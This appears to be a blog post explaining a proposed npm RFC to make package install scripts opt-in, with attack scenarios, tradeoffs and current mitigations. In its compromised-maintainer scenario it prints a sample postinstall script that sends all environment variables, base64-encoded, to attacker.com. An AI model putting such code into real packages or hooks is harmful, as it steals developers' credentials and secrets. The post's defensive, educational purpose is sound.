Loading…

A landmark npm RFC proposes making install scripts opt-in by default. This deep-dive covers how the current system works, why it's dangerous, what the RFC proposes, the tradeoffs involved, and how you can protect yourself right now.
📋 RFC Status: Open for community comment at npm/rfcs on GitHub. The proposal would make
postinstall,preinstall, andinstalllifecycle scripts require explicit opt-in from the consuming project.
A significant RFC (Request for Comments) has been filed against npm: make install scripts opt-in rather than opt-out by default. If accepted and implemented, this single change could be one of the most impactful security improvements to the npm ecosystem in years.
But what exactly are install scripts, why are they dangerous, what does "opt-in" mean in practice, and what are the tradeoffs? This post covers everything you need to know — and how to participate in shaping the outcome.
When you run npm install, npm doesn't just copy package files to node_modules. For packages that declare lifecycle scripts, npm also executes shell commands at various points in the installation process.
The relevant lifecycle hooks are:
HookWhen It RunspreinstallBefore the package is installedinstallAfter the package is installedpostinstallAfter install completesprepareAfter install, also on npm publish
These scripts are defined in a package's package.json:
{
"name": "some-package",
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}Install scripts aren't inherently evil. Many important packages depend on them:
esbuild — downloads the correct platform-specific native binary during postinstall
node-gyp — compiles native C++ addons at install time
sharp — downloads libvips binaries for the current platform
puppeteer — downloads a specific Chromium version
husky — sets up Git hooks in the project
These are all valid, expected behaviors that developers rely on.
The issue is that install scripts execute arbitrary shell code with the same permissions as the developer running npm install. On a developer's machine, that often means:
Full read/write access to the filesystem
Access to all environment variables (including AWS_SECRET_ACCESS_KEY, DATABASE_URL, GITHUB_TOKEN, etc.)
Network access to make outbound HTTP requests
Ability to modify system files, install software, or pivot to other processes
Scenario 1: Compromised Maintainer AccountAn attacker gains access to a popular package's npm credentials, publishes a new version with a malicious postinstall script, and waits. Millions of developers run npm install and silently exfiltrate their secrets to the attacker's server.
// Malicious postinstall script disguised as telemetry
const { execSync } = require('child_process');
const env = Object.entries(process.env).join('\n');
require('https').request('https://attacker.com/collect', { method: 'POST' }, () => {})
.end(Buffer.from(env).toString('base64'));Scenario 2: Typosquatted PackageAn attacker publishes lodahs (typo of lodash) or reect (typo of react) with a postinstall script. Any developer who makes a typo installs and executes the malicious code immediately.
Scenario 3: Dependency ConfusionAn attacker publishes a public npm package with the same name as an internal private package. If the npm registry is checked before the private registry, the malicious package gets installed with its scripts running immediately.
The RFC proposes changing the default behavior so that install scripts do not run unless explicitly allowed by the consuming project.
Projects that want to allow install scripts from specific packages would declare this in their package.json:
{
"name": "my-app",
"dependencies": {
"esbuild": "^0.21.0",
"sharp": "^0.33.0",
"some-malicious-package": "^1.0.0"
},
"allowedScripts": {
"esbuild": true,
"sharp": true
// "some-malicious-package" is NOT listed → its scripts won't run
}
}When running npm install, npm would:
Install all packages as normal
Skip install scripts for any package not in allowedScripts
Warn the developer about packages that wanted to run scripts but were blocked
Another approach discussed in the RFC is an interactive approval flow — similar to how mobile apps request permissions:
$ npm installInstalling 247 packages...
⚠️ The following packages want to run install scripts:
- esbuild@0.21.0 (postinstall: "node install.js")
- sharp@0.33.0 (postinstall: "node install/libvips")
Allow esbuild to run install scripts? (y/N) y
Allow sharp to run install scripts? (y/N) y
✅ Installation complete.
When npm install scripts were designed, the ecosystem was small and maintainers were mostly known individuals. Today:
The top 10 npm packages are downloaded billions of times per week
Compromising a single popular package can affect millions of developers in hours
Nation-state actors and organized criminal groups now target developer toolchains
The TanStack attack, the colors and faker sabotage, and numerous other incidents have proven that the current trust model is broken
Developers have been asking for this for years. Tools like Socket.dev, pnpm's onlyBuiltDependencies, and manual use of --ignore-scripts show that the community has already been working around the problem. The RFC would make the safe default the default rather than an opt-in workaround.
The most common attack vector in npm supply chain attacks is the postinstall script. Opt-in would prevent 90%+ of these attacks from having any effect.
Right now, trust is implicit. Every package you install is implicitly trusted to run code on your machine. Opt-in makes trust explicit — you declare which packages you trust to run scripts, and everything else is blocked.
pnpm's onlyBuiltDependencies already does exactly this and has been widely adopted without significant friction. The ecosystem knows how to handle it.
iOS and Android require explicit permission for sensitive operations. macOS's Gatekeeper requires approval for new apps. The web platform has a permissions API. npm is one of the few developer tools that still runs arbitrary code without asking.
Packages like esbuild, sharp, puppeteer, and any package with native bindings depend on install scripts. If those scripts don't run, the package is broken. Developers would need to update their allowedScripts config — extra friction even for legitimate use cases.
Monorepos with dozens of packages that need install scripts would need complex configurations. CI systems would need to be updated. Docker images would need allowedScripts configured before builds work.
A sufficiently sophisticated attacker can distribute malicious behavior through non-script mechanisms — malicious code in the package's main entry point that runs when the package is first require()'d, for example. Opt-in scripts don't address this vector.
Many developers don't know which packages need install scripts. The breakage from a missed allowedScripts entry could be confusing and hard to debug for less experienced developers.
--ignore-scriptsYou can already opt out of install scripts today using the --ignore-scripts flag:
npm install --ignore-scriptsOr make it the default in .npmrc:
ignore-scripts=trueThe problem: this is all-or-nothing. If you disable all scripts, packages like esbuild and sharp simply stop working. There's no current way to whitelist specific packages — which is exactly what the RFC would provide.
The RFC process is open to the public. Here's how to get involved:
Read the full RFC at github.com/npm/rfcs
Comment on the issue — share your use case, concerns, or support
Attend the npm RFC meeting — meetings are held regularly and open to the community
Follow the discussion on the npm blog and Twitter/X (@npmjs)
The more voices from the developer community, the better the final design will be. If you work on a package that uses install scripts, your perspective is especially valuable — the RFC needs to know what legitimate use cases must be preserved.
While waiting for the RFC to progress (which may take months or years), you can protect yourself today:
# Use ignore-scripts globally for initial security, then whitelist manually
npm install --ignore-scripts
For packages that need scripts, run them explicitly
npm rebuild esbuild
npm rebuild sharp
Or switch to pnpm and use onlyBuiltDependencies:
{
"pnpm": {
"onlyBuiltDependencies": ["esbuild", "sharp", "node-gyp"]
}
}⚡ The RFC is one of the most important npm security proposals in years. Get involved.
Install scripts currently run automatically and can execute arbitrary code with full developer permissions
The RFC proposes making scripts opt-in, requiring explicit allowedScripts entries in package.json
This would prevent the majority of supply chain attacks that use postinstall as the attack vector
There are real tradeoffs around breaking changes and ecosystem friction that need to be worked through
You can protect yourself today with --ignore-scripts + selective rebuilds, or pnpm's onlyBuiltDependencies
Participate in the RFC — community feedback directly shapes the final design